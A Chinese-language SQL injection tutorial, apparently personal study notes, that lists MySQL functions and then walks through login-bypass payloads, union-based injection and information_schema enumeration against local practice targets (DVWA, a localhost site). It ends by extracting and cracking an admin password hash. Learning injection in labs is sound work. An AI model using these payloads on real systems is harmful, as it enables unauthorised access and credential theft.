在了解sql注入之前,需要有数据库的简单知识,或者说,一些函数和命令
常用数据函数以及常量
@@tmpdir临时目录
@@datadir存放路径
@@basedir MySQL 的安装路径
@@version mysql版本
@@hostname 主机名
ascii() 转换为ascii码值
user() 用户
version() 版本
database() 所有数据库
concat() 拼接函数
group_concat() 拼接函数
concat_ws() 拼接函数
substr():oracle,mysql,mssql /substring():mysql,mssql /mid():mysql 注意:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
left(pa1,pa2) pa1是被截取的字符串,从左边开始截取,pa2是截取的长度
right(pa1,pa2)pa1是被截取的字符串,从右边开始截取,pa2是截取的长度
sleep()让数据库休眠的
ord()显示字符的ASCII
if(条件,条件为真时的返回值或者语句, 条件为假时的返回值或者语句)
eg: if(1=1,true,false)
case when 条件 then条件为真时的返回值或者语句 else条件为假时的返回值或者语句 end
eg:SELECT 1,CASE WHEN 1=1 THEN 'hello' ELSE 'goodbye' END,3 --+
了解一些基本函数后,尝试基本的sql注入
1、万能密码:自己写的网站,找到和数据库交互的登陆窗口,往里面插入构造的sql语句(恶意代码),能够直接登陆进,有可能不需要真正的账号密码。输入的恶意代码就称为万能密码。后端拼接的sql语句要能闭合:SELECT *FROM WHERE‘users’=’$users’ AND ‘password’=’$pass’
用dvwa测试
语句1:admin ‘ or 1=1#
得到:SELECT * FROM `users` WHERE user = 'admin' or 1=1# ' AND password
= '202cb962ac59075b964b07152d234b70';
在数据库中:
语句2:admin ‘and 1=1#
得到:SELECT * FROM `users` WHERE user = 'admin' and 1=1#' AND password = '5f4dcc3b5aa765d61d8327deb882cf99';
数据库:
其他的语句(注意:是否需要加单引号,需要根据后端的数据类型来。若是字符串类型,则加单引号;若是整型的,则不需要加)
Admin ‘and ’1’=’1’#
mysql数据库中的一库一表三字段:
Mysql>5.0,有自带的系统数据库-infirmation_schema,汇总其他数据库的库名、表名、字段名。
Columns 存储数据(库民 、表名、字段名)
Table_schema字段 存放其他数据库的库名。
Table_name字段 存放其他数据库的表名。
Column_name字段存放其他数据库的字段名。
手工注入:(测试网站jdy1.5)
1、检测注入点(可能存在sql注入的地方),方式:admin’ or 1=1#等。
找到类似于id(id,uid,typeid,sid,key等可动参数)之类的参数
后面需要插入一些检测的恶意代码:
‘/’ and 1=1/’ and 1=2/-1’ or ‘1’=’1需不需要单引号是由后端拼接的sql语句决定的。
Sql闯关
第一关:SELECT * FROM users WHERE id=’$id’ Limit 0,1 前端测试代码:id=1 ‘and 1=1%23
第二关:SELECT * FROM users WHERE id=$id Limit 0,1 前端测试代码:id=1 and 1=1%23
输入的payload被成功执行则说明此处有sql注入点
接下来判断注入的方式:主要根据页面的回显来决定使用那种注入技术(布尔、报错、内敛、时间)
判断从后台数据库中选择的列数以及那几列在前端显示
http://localhost/jdy1.5/typeid.php?typeid=1 and order by 6%23(5时显示正常,6时出现变化,说明有五列显示在前端)
使用union拼接想要执行的命令
http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,2,3,4,5%23
可以发现2在前端显示出来了
在第二列执行命令
http://localhost/jdy1.5/typeid.php?typeid=-1 union select 1,user(),3,4,5%23
命令被执行,得到想要的信息。
2、收集后台数据信息
select 1,user(),3,4,5%23当前用户
select 1,database(),3,4,5%23当前数据库
Select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5
distinct(去重复),group_concat(将group by产生的同一个分组中的值连接起来,返回一个字符串结果)
3、获取当前数据库的表名
Select table_name from information_schema.columns where table_schema=database()
4、获取当前数据库下指定表下字段名
Select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’(后台或者敏感的数据表,比如jdy_admin)需要对jdy_admin进行十六进制转码,转码后不需要单引号
select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e
5、获取字段的内容
select concat(username,0x7e,password) from jdy_admin limit 0,1
得到账号密码:admin~c3284d0f94606de1fd2af172aba15bf3
6、解密
Md5,rot13等
c3284d0f94606de1fd2af172aba15bf3两次解码之后得到admin